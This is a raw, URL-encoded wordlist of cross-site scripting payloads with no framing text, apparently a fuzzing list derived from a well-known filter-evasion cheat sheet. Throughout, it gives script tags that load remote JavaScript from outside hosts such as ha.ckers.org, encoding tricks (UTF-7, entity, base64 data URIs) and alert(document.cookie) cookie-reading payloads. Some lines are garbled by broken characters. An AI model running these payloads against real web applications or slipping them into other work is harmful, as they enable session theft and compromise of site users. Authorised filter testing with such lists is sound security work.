%26lt%3bSTYLE%26gt%3b@im%5cport'%5cja%5cvasc%5cript%26#58%3balert(%5c%22XSS%5c%22)'%3b%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bIMG%20STYLE%3d%5c%22xss%26#58%3bexpr%2f%2aXSS%2a%2fession(alert('XSS'))%5c%22%26gt%3b
%26lt%3bXSS%20STYLE%3d%5c%22xss%26#58%3bexpression(alert('XSS'))%5c%22%26gt%3b
exp%2f%2a%26lt%3bA%20STYLE%3d'no%5cxss%26#58%3bnoxss(%5c%22%2a%2f%2f%2a%5c%22)%3b
xss%26#58%3bex%26#x2F%3b%2aXSS%2a%2f%2f%2a%2f%2a%2fpression(alert(%5c%22XSS%5c%22))'%26gt%3b
%26lt%3bDIV%20STYLE%3d%5c%22background-image%26#58%3b%20url(javascript%26#058%3balert('XSS'))%5c%22%26gt%3b
%26lt%3bSTYLE%20TYPE%3d%5c%22text%2fjavascript%5c%22%26gt%3balert('XSS')%3b%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bSTYLE%26gt%3b%26#46%3bXSS%7bbackground-image%26#58%3burl(%5c%22javascript%26#058%3balert('XSS')%5c%22)%3b%7d%26lt%3b%2fSTYLE%26gt%3b%26lt%3bA%20CLASS%3dXSS%26gt%3b%26lt%3b%2fA%26gt%3b
%26lt%3b!--%26#91%3bif%20gte%20IE%204%26#93%3b%26gt%3b
%26lt%3bSCRIPT%26gt%3balert('XSS')%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3b!%26#91%3bendif%26#93%3b--%26gt%3b
%26lt%3bBASE%20HREF%3d%5c%22javascript%26#058%3balert('XSS')%3b%2f%2f%5c%22%26gt%3b
%26lt%3bOBJECT%20TYPE%3d%5c%22text%2fx-scriptlet%5c%22%20DATA%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fscriptlet%26#46%3bhtml%5c%22%26gt%3b%26lt%3b%2fOBJECT%26gt%3b
%26lt%3bSTYLE%20type%3d%5c%22text%2fcss%5c%22%26gt%3bBODY%7bbackground%26#58%3burl(%5c%22javascript%26#058%3balert('XSS')%5c%22)%7d%26lt%3b%2fSTYLE%26gt%3b
%26lt%3bOBJECT%20classid%3dclsid%26#58%3bae24fdae-03c6-11d1-8b76-0080c744f389%26gt%3b%26lt%3bparam%20name%3durl%20value%3djavascript%26#058%3balert('XSS')%26gt%3b%26lt%3b%2fOBJECT%26gt%3b
a%3d%5c%22get%5c%22%3b
b%3d%5c%22URL(%5c%5c%22%5c%22%3b
%26lt%3bEMBED%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bswf%5c%22%20AllowScriptAccess%3d%5c%22always%5c%22%26gt%3b%26lt%3b%2fEMBED%26gt%3b
c%3d%5c%22javascript%26#058%3b%5c%22%3b
d%3d%5c%22alert('XSS')%3b%5c%5c%22)%5c%22%3b
eval(a%2bb%2bc%2bd)%3b
%26lt%3bXML%20ID%3dI%26gt%3b%26lt%3bX%26gt%3b%26lt%3bC%26gt%3b%26lt%3b!%26#91%3bCDATA%26#91%3b%26lt%3bIMG%20SRC%3d%5c%22javas%26#93%3b%26#93%3b%26gt%3b%26lt%3b!%26#91%3bCDATA%26#91%3bcript%26#58%3balert('XSS')%3b%5c%22%26gt%3b%26#93%3b%26#93%3b%26gt%3b
%26lt%3bXML%20ID%3d%5c%22xss%5c%22%26gt%3b%26lt%3bI%26gt%3b%26lt%3bB%26gt%3b%26lt%3bIMG%20SRC%3d%5c%22javas%26lt%3b!--%20--%26gt%3bcript%26#58%3balert('XSS')%5c%22%26gt%3b%26lt%3b%2fB%26gt%3b%26lt%3b%2fI%26gt%3b%26lt%3b%2fXML%26gt%3b
%26lt%3bXML%20SRC%3d%5c%22xsstest%26#46%3bxml%5c%22%20ID%3dI%26gt%3b%26lt%3b%2fXML%26gt%3b
%26lt%3b%2fC%26gt%3b%26lt%3b%2fX%26gt%3b%26lt%3b%2fxml%26gt%3b%26lt%3bSPAN%20DATASRC%3d#I%20DATAFLD%3dC%20DATAFORMATAS%3dHTML%26gt%3b%26lt%3b%2fSPAN%26gt%3b
%26lt%3bSPAN%20DATASRC%3d#I%20DATAFLD%3dC%20DATAFORMATAS%3dHTML%26gt%3b%26lt%3b%2fSPAN%26gt%3b
%26lt%3b%3fxml%26#58%3bnamespace%20prefix%3d%5c%22t%5c%22%20ns%3d%5c%22urn%26#58%3bschemas-microsoft-com%26#58%3btime%5c%22%26gt%3b
%26lt%3bSPAN%20DATASRC%3d%5c%22#xss%5c%22%20DATAFLD%3d%5c%22B%5c%22%20DATAFORMATAS%3d%5c%22HTML%5c%22%26gt%3b%26lt%3b%2fSPAN%26gt%3b
%26lt%3b%2fBODY%26gt%3b%26lt%3b%2fHTML%26gt%3b
%26lt%3bSCRIPT%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjpg%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3b!--#exec%20cmd%3d%5c%22%2fbin%2fecho%20'%26lt%3bSCR'%5c%22--%26gt%3b%26lt%3b!--#exec%20cmd%3d%5c%22%2fbin%2fecho%20'IPT%20SRC%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b'%5c%22--%26gt%3b
%26lt%3b%3fimport%20namespace%3d%5c%22t%5c%22%20implementation%3d%5c%22#default#time2%5c%22%26gt%3b
%26lt%3bt%26#58%3bset%20attributeName%3d%5c%22innerHTML%5c%22%20to%3d%5c%22XSS%26lt%3bSCRIPT%20DEFER%26gt%3balert(%26quot%3bXSS%26quot%3b)%26lt%3b%2fSCRIPT%26gt%3b%5c%22%26gt%3b
echo('IPT%26gt%3balert(%5c%22XSS%5c%22)%26lt%3b%2fSCRIPT%26gt%3b')%3b%20%3f%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22http%26#58%3b%2f%2fwww%26#46%3bthesiteyouareon%26#46%3bcom%2fsomecommand%26#46%3bphp%3fsomevariables%3dmaliciouscode%5c%22%26gt%3b
Redirect%20302%20%2fa%26#46%3bjpg%20http%26#58%3b%2f%2fvictimsite%26#46%3bcom%2fadmin%26#46%3basp%26deleteuser
%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22Set-Cookie%5c%22%20Content%3d%5c%22USERID%3d%26lt%3bSCRIPT%26gt%3balert('XSS')%26lt%3b%2fSCRIPT%26gt%3b%5c%22%26gt%3b
%26lt%3bSCRIPT%20a%3d%5c%22%26gt%3b%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3b%3f%20echo('%26lt%3bSCR)'%3b
%26lt%3bSCRIPT%20a%3d%5c%22%26gt%3b%5c%22%20''%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%20%5c%22a%3d'%26gt%3b'%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%20a%3d%60%26gt%3b%60%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bHEAD%26gt%3b%26lt%3bMETA%20HTTP-EQUIV%3d%5c%22CONTENT-TYPE%5c%22%20CONTENT%3d%5c%22text%2fhtml%3b%20charset%3dUTF-7%5c%22%26gt%3b%20%26lt%3b%2fHEAD%26gt%3b%2bADw-SCRIPT%2bAD4-alert('XSS')%3b%2bADw-%2fSCRIPT%2bAD4-
%26lt%3bSCRIPT%20%3d%5c%22%26gt%3b%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%20a%3d%5c%22%26gt%3b'%26gt%3b%5c%22%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f66%26#46%3b102%26#46%3b7%26#46%3b147%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f1113982867%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f0x42%26#46%3b0x0000066%26#46%3b0x7%26#46%3b0x93%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2f0102%26#46%3b0146%26#46%3b0007%26#46%3b00000223%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22htt%20p%26#58%3b%2f%2f6%206%26#46%3b000146%26#46%3b0x7%26#46%3b147%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bSCRIPT%26gt%3bdocument%26#46%3bwrite(%5c%22%26lt%3bSCRI%5c%22)%3b%26lt%3b%2fSCRIPT%26gt%3bPT%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bA%20HREF%3d%5c%22%2f%2fwww%26#46%3bgoogle%26#46%3bcom%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22%2f%2fgoogle%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fgoogle%26#46%3bcom%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fwww%26#46%3bgoogle%26#46%3bcom%26#46%3b%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fwww%26#46%3bgohttp%26#58%3b%2f%2fwww%26#46%3bgoogle%26#46%3bcom%2fogle%26#46%3bcom%2f%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg@google%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26lt%3b
%26lt%3bA%20HREF%3d%5c%22http%26#58%3b%2f%2fgoogle%26#58%3bha%26#46%3bckers%26#46%3borg%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%3C
%26lt
%26lt%3b
%26LT
%26lt%3bA%20HREF%3d%5c%22javascript%26#058%3bdocument%26#46%3blocation%3d'http%26#58%3b%2f%2fwww%26#46%3bgoogle%26#46%3bcom%2f'%5c%22%26gt%3bXSS%26lt%3b%2fA%26gt%3b
%26LT%3b
%26#60
%26#060
%26#0060
%26#00060
%26#0000060
%26lt%3b
%26#x3c
%26#x03c
%26#x003c
%26#x0003c
%26#x00003c
%26#x000003c
�scriptualert(EXSSE)�%2fscriptu
%26#x3c%3b
%26#x03c%3b
%26#000060
%26#x003c%3b
%26#x0003c%3b
%26#X3c
%26#X03c
%26#X0003c
%26#X000003c
%26#x00003c%3b
%26#x000003c%3b
%26#X3c%3b
%26#X003c%3b
%26#X03c%3b
%26#X00003c%3b
%26#x3C
%26#x03C
%26#x003C
%26#X0003c%3b
%26#X00003c
%26#x00003C
%26#x000003C
%26#x3C%3b
%26#x03C%3b
%26#x003C%3b
%26#x0003C%3b
%26#x0003C
%26#x000003C%3b
%26#X003c
%26#X000003c%3b
%26#x00003C%3b
%26#X03C
%26#X00003C
%26#X000003C
%26#X3C
%26#X003C
%26#X3C%3b
%26#X03C%3b
%26#X003C%3b
%26#X00003C%3b
%26#X000003C%3b
%5cx3c
%5cx3C
%26#X0003C%3b
%26lt%3biframe%20src%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fscriptlet%26#46%3bhtml%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%5c%22
%26lt%3bSCRIPT%20SRC%3d%2f%2fha%26#46%3bckers%26#46%3borg%2f%26#46%3bjs%26gt%3b
%5cu003c
%26lt%3bSCRIPT%20SRC%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%3f%26lt%3bB%26gt%3b
%5cu003C
%26lt%3b%26lt%3bSCRIPT%26gt%3balert(%5c%22XSS%5c%22)%3b%2f%2f%26lt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%2fSRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bSCRIPT%2fXSS%20SRC%3d%5c%22http%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%5c%22%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22%20%20%20javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
perl%20-e%20'print%20%5c%22%26lt%3bSCR%5c0IPT%26gt%3balert(%5c%5c%22XSS%5c%5c%22)%26lt%3b%2fSCR%5c0IPT%26gt%3b%5c%22%3b'%20%26gt%3b%20out
%26lt%3bIMG%20SRC%3d%5c%22jav%26#x0D%3bascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%5c%22jav%26#x0A%3bascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bBODY%20onload!#$%%26()%2a~%2b-_%26#46%3b,%26#58%3b%3b%3f@%26#91%3b%2f%7c%5c%26#93%3b%5e%60%3dalert(%5c%22XSS%5c%22)%26gt%3b
perl%20-e%20'print%20%5c%22%26lt%3bIMG%20SRC%3djava%5c0script%26#058%3balert(%5c%5c%22XSS%5c%5c%22)%26gt%3b%5c%22%3b'%20%26gt%3b%20out
%26lt%3bIMG%20SRC%3d%5c%22jav%26#x09%3bascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%26#x6A%26#x61%26#x76%26#x61%26#x73%26#x63%26#x72%26#x69%26#x70%26#x74%26#x3A%26#x61%26#x6C%26#x65%26#x72%26#x74%26#x28%26#x27%26#x58%26#x53%26#x53%26#x27%26#x29%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert(String%26#46%3bfromCharCode(88,83,83))%26gt%3b
%26#X0003C
%26lt%3bIMG%20%5c%22%5c%22%5c%22%26gt%3b%26lt%3bSCRIPT%26gt%3balert(%5c%22XSS%5c%22)%26lt%3b%2fSCRIPT%26gt%3b%5c%22%26gt%3b
%26lt%3bIMG%20SRC%3d%60javascript%26#058%3balert(%5c%22RSnake%20says,%20'XSS'%5c%22)%60%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert(%26quot%3bXSS%26quot%3b)%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert('XSS')%26gt%3b
%26lt%3bIMG%20SRC%3djavascript%26#058%3balert('XSS')%26gt%3b
%26lt%3bSCRIPT%20SRC%3dhttp%26#58%3b%2f%2fha%26#46%3bckers%26#46%3borg%2fxss%26#46%3bjs%26gt%3b%26lt%3b%2fSCRIPT%26gt%3b
%26lt%3bIMG%20SRC%3dJaVaScRiPt%26#058%3balert('XSS')%26gt%3b
''%3b!--%22%3cXSS%3e%3d%26%7b()%7d
%26lt%3bIMG%20SRC%3d%5c%22javascript%26#058%3balert('XSS')%3b%5c%22%26gt%3b
%3cSCRIPT%20SRC%3dhttp%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%3e%3c%2fSCRIPT%3e
%3cIMG%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e
%3cIMG%20SRC%3djavascript%3aalert('XSS')%3e
%3cIMG%20SRC%3djavascrscriptipt%3aalert('XSS')%3e
%3cIMG%20SRC%3dJaVaScRiPt%3aalert('XSS')%3e
%3cIMG%20%22%22%22%3e%3cSCRIPT%3ealert(%22XSS%22)%3c%2fSCRIPT%3e%22%3e
''%3b!--%5c%22%26lt%3bXSS%26gt%3b%3d%26%7b()%7d
%3cIMG%20SRC%3d%22%20%26#14%3b%20%20javascript%3aalert('XSS')%3b%22%3e
%3cSCRIPT%2fXSS%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%2fSRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3c%3cSCRIPT%3ealert(%22XSS%22)%3b%2f%2f%3c%3c%2fSCRIPT%3e
%3cSCRIPT%3ea%3d%2fXSS%2falert(a%2esource)%3c%2fSCRIPT%3e
%5c%22%3balert('XSS')%3b%2f%2f
�script�alert(�XSS�)�%2fscript�
%3cMETA%20HTTP-EQUIV%3d%22refresh%22%20CONTENT%3d%220%3burl%3djavascript%3aalert('XSS')%3b%22%3e
%3cFRAMESET%3e%3cFRAME%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e%3c%2fFRAMESET%3e
%3cTABLE%20BACKGROUND%3d%22javascript%3aalert('XSS')%22%3e
%3c%2fTITLE%3e%3cSCRIPT%3ealert(%22XSS%22)%3b%3c%2fSCRIPT%3e
%3cDIV%20STYLE%3d%22background-image%3a%20url(javascript%3aalert('XSS'))%22%3e
%3cDIV%20STYLE%3d%22background-image%3a%5c0075%5c0072%5c006C%5c0028'%5c006a%5c0061%5c0076%5c0061%5c0073%5c0063%5c0072%5c0069%5c0070%5c0074%5c003a%5c0061%5c006c%5c0065%5c0072%5c0074%5c0028%2e1027%5c0058%2e1053%5c0053%5c0027%5c0029'%5c0029%22%3e
%3cDIV%20STYLE%3d%22width%3a%20expression(alert('XSS'))%3b%22%3e
%3cSTYLE%3e@im%5cport'%5cja%5cvasc%5cript%3aalert(%22XSS%22)'%3b%3c%2fSTYLE%3e
%3cIMG%20STYLE%3d%22xss%3aexpr%2f%2aXSS%2a%2fession(alert('XSS'))%22%3e
%3cXSS%20STYLE%3d%22xss%3aexpression(alert('XSS'))%22%3e
%3cEMBED%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2eswf%22%20AllowScriptAccess%3d%22always%22%3e%3c%2fEMBED%3e
a%3d%22get%22%3bb%3d%22URL(ja%5c%22%22%3bc%3d%22vascr%22%3bd%3d%22ipt%3aale%22%3be%3d%22rt('XSS')%3b%5c%22)%22%3beval(a%2bb%2bc%2bd%2be)%3b
%3cIFRAME%20SRC%3d%22javascript%3aalert('XSS')%3b%22%3e%3c%2fIFRAME%3e
%3cSCRIPT%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejpg%22%3e%3c%2fSCRIPT%3e
%3cSCRIPT%3edocument%2ewrite(%22%3cSCRI%22)%3b%3c%2fSCRIPT%3ePT%20SRC%3d%22http%3a%2f%2fha%2eckers%2eorg%2fxss%2ejs%22%3e%3c%2fSCRIPT%3e
%3cform%20id%3d%22test%22%20%2f%3e%3cbutton%20form%3d%22test%22%20formaction%3d%22javascript%3aalert(123)%22%3eTESTHTML5FORMACTION
%3cform%3e%3cbutton%20formaction%3d%22javascript%3aalert(123)%22%3ecrosssitespt
%3cTABLE%3e%3cTD%20BACKGROUND%3d%22javascript%3aalert('XSS')%22%3e
%3cframeset%20onload%3dalert(123)%3e
%3c!--%3cimg%20src%3d%22--%3e%3cimg%20src%3dx%20onerror%3dalert(123)%2f%2f%22%3e
%3cstyle%3e%3cimg%20src%3d%22%3c%2fstyle%3e%3cimg%20src%3dx%20onerror%3dalert(123)%2f%2f%22%3e
%3cobject%20data%3d%22data%3atext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%3d%3d%22%3e
%3cembed%20src%3d%22data%3atext%2fhtml%3bbase64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg%3d%3d%22%3e
%3c%3f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
exp%2f%2a%3cA%20STYLE%3d'no%5cxss%3anoxss(%22%2a%2f%2f%2a%22)%3bxss%3a%26#101%3bx%26#x2F%3b%2aXSS%2a%2f%2f%2a%2f%2a%2fpression(alert(%22XSS%22))'%3e
%3c!%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3cscript%3eReferenceError%2eprototype%2e__defineGetter__('name',%20function()%7balert(123)%7d),x%3c%2fscript%3e
%3cscript%3eObject%2e__noSuchMethod__%20%3d%20Function,[%7b%7d][0]%2econstructor%2e_('alert(1)')()%3c%2fscript%3e
%3cscript%20src%3d%22#%22%3e%7balert(1)%7d%3c%2fscript%3e%3b1
%3cscript%3ecrypto%2egenerateCRMFRequest('CN%3d0',0,0,null,'alert(1)',384,null,'rsa-dual-use')%3c%2fscript%3e
%3c%2f%20foo%3d%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%22%3e
%3cscript%3e(%7b0%3a#0%3dalert%2f#0#%2f#0#(123)%7d)%3c%2fscript%3e
%3ciframe%20xmlns%3d%22#%22%20src%3d%22javascript%3aalert(1)%22%3e%3c%2fiframe%3e
%2bADw-script%2bAD4-alert(document%2elocation)%2bADw-%2fscript%2bAD4-
%2BADw-script%2bAD4-alert(document%2elocation)%2BADw-%2fscript%2BAD4-
%2bACIAPgA8-script%2bAD4-alert(document%2elocation)%2bADw-%2fscript%2bAD4APAAi-
%3csvg%20xmlns%3d%22#%22%3e%3cscript%3ealert(1)%3c%2fscript%3e%3c%2fsvg%3e
%3cembed%20src%3d%22javascript%3aalert(1)%22%3e
%2BACIAPgA8-script%2BAD4-alert%28document%2elocation%29%2BADw-%2Fscript%2BAD4APAAi-
%3csvg%20onload%3d%22javascript%3aalert(123)%22%20xmlns%3d%22#%22%3e%3c%2fsvg%3e
%253cscript%253ealert(document%2ecookie)%253c%2fscript%253e
�%3e%3cs�%2b�cript%3ealert(document%2ecookie)%3c%2fscript%3e
�%3e%3cScRiPt%3ealert(document%2ecookie)%3c%2fscript%3e
�%3e%3c%3cscript%3ealert(document%2ecookie)%3b%2f%2f%3c%3c%2fscript%3e
%3cscr%3cscript%3eipt%3ealert(document%2ecookie)%3c%2fscr%3c%2fscript%3eipt%3e
%22%2f%3E%3CBODY%20onload%3d�document%2ewrite(%22%3Cs%22%2b%22cript%20src%3dhttp%3a%2f%2fmy%2ebox%2ecom%2fxss%2ejs%3E%3C%2fscript%3E%22)�%3E
�%3b%20alert(document%2ecookie)%3b%20var%20foo%3d�
foo%5c�%3b%20alert(document%2ecookie)%3b%2f%2f�%3b
%3c%2fscript%3e%3cscript%20%3ealert(document%2ecookie)%3c%2fscript%3e
%3cimg%20src%3dasdf%20onerror%3dalert(document%2ecookie)%3e
%3cBODY%20ONLOAD%3dalert(�XSS�)%3e
%22%3e%3cscript%3ealert(String%2efromCharCode(66,%20108,%2065,%2099,%2075,%2073,%2099,%20101))%3c%2fscript%3e
%3cvideo%20src%3d1%20onerror%3dalert(1)%3e
foo%3cscript%3ealert(document%2ecookie)%3c%2fscript%3e
%3caudio%20src%3d1%20onerror%3dalert(1)%3e
%3cscript%3ealert(1)%3c%2fscript%3e
blacksrt
blacksrt
blacksrt
blacksrt
blacksrt
